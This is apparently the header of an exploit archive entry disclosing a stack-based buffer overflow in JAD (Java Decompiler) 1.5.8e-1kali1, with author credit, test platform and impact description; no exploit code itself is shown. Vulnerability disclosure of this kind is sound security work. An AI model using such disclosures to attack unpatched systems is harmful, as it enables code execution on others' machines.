JAD 1.5.8e-1kali1 Buffer Overflow

# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team -  
http://www.kpn.com  
# Developed using Exploit Pack - http://exploitpack.com -  
<[email protected]>  
# Tested on: GNU/Linux - Kali 2017.1 Release  
#  
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is  
prone to a stack-based buffer overflow  
# vulnerability because the application fails to perform adequate  
boundary-checks on user-supplied input.  
#  
# An attacker could exploit this vulnerability to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Package details:  
# Version: 1.5.8e-1kali1  
# Architecture: all
